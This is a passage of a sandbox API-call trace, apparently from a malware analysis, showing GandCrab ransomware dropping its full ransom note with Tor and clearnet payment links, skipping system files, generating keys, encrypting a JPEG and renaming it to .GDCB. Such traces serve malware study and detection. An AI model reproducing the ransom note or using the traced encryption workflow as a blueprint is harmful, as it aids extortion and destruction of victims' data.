(in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.989] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.989] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.989] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\\\GDCB-DECRYPT.txt") returned 80 [0054.989] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.990] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.990] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.990] CloseHandle (hObject=0x4fc) returned 1 [0054.990] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.991] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\") returned 63 [0054.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*" [0054.991] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8870 [0054.991] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.991] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.991] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.991] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.991] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.991] lstrcmpW (lpString1="CachedFiles", lpString2=".") returned 1 [0054.991] lstrcmpW (lpString1="CachedFiles", lpString2="..") returned 1 [0054.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="CachedFiles" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles" [0054.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\" [0054.991] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.991] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.991] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.991] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\") returned 75 [0054.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*" [0054.991] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b85f0 [0054.991] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.991] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.991] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.991] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.991] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.991] lstrcmpW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2=".") returned 1 [0054.992] lstrcmpW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="..") returned 1 [0054.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\", lpString2="CachedImage_1440_900_POS4.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" [0054.992] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned 104 [0054.992] lstrcmpW (lpString1=".jpg", lpString2=".sql") returned -1 [0054.992] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.992] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.992] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.992] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\\\GDCB-DECRYPT.txt") returned 92 [0054.992] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.993] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.993] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.993] CloseHandle (hObject=0x500) returned 1 [0054.993] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.993] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\") returned 75 [0054.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*" [0054.994] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8af0 [0054.994] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.994] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.994] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.994] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.994] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.994] lstrcmpW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2=".") returned 1 [0054.994] lstrcmpW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="..") returned 1 [0054.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\", lpString2="CachedImage_1440_900_POS4.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" [0054.994] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.994] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned 104 [0054.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned 104 [0054.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned 104 [0054.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned 104 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="desktop.ini") returned -1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="autorun.inf") returned 1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="ntuser.dat") returned -1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="iconcache.db") returned -1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="bootsect.bak") returned 1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="boot.ini") returned 1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="ntuser.dat.log") returned -1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="thumbs.db") returned -1 [0054.994] lstrcmpiW (lpString1="CachedImage_1440_900_POS4.jpg", lpString2="GDCB-DECRYPT.txt") returned -1 [0054.994] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg")) returned 0x20 [0054.994] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg", dwFileAttributes=0x20) returned 1 [0054.994] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.995] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" [0054.995] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.GDCB" [0054.995] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0054.995] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.995] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.995] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0054.995] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.995] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.996] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0054.996] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.996] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.996] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0054.996] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.996] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.996] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.997] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.997] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff90) returned 1 [0054.999] CryptImportKey (in: hProv=0x58ff90, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b85f0) returned 1 [0054.999] CryptGetKeyParam (in: hKey=0x5b85f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0054.999] CryptEncrypt (in: hKey=0x5b85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0054.999] GetLastError () returned 0x0 [0054.999] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0054.999] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.001] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8670) returned 1 [0055.001] CryptGetKeyParam (in: hKey=0x5b8670, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.001] CryptEncrypt (in: hKey=0x5b8670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.001] GetLastError () returned 0x0 [0055.001] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.001] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.001] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.001] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.002] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x1268b, lpOverlapped=0x0) returned 1 [0055.006] VirtualAlloc (lpAddress=0x0, dwSize=0x12690, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.007] VirtualAlloc (lpAddress=0x0, dwSize=0x12690, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0055.008] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.008] SetFilePointer (in: hFile=0x504, lDistanceToMove=-75403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.008] WriteFile (in: hFile=0x504, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x12690, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285e820*=0x12690, lpOverlapped=0x0) returned 1 [0055.008] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.009] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.011] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.011] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.011] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.012] CloseHandle (hObject=0x504) returned 1 [0055.013] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.013] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.013] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.014] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg.gdcb")) returned 1 [0055.014] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.014] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.014] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.015] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt" [0055.015] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.015] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt") returned 91 [0055.015] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt") returned 91 [0055.015] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt") returned 91 [0055.015] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\GDCB-DECRYPT.txt") returned 91 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.015] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.015] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.015] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0055.015] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0055.015] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.015] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.015] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt" [0055.015] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.015] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt") returned 79 [0055.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt") returned 79 [0055.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt") returned 79 [0055.016] lstrlenW 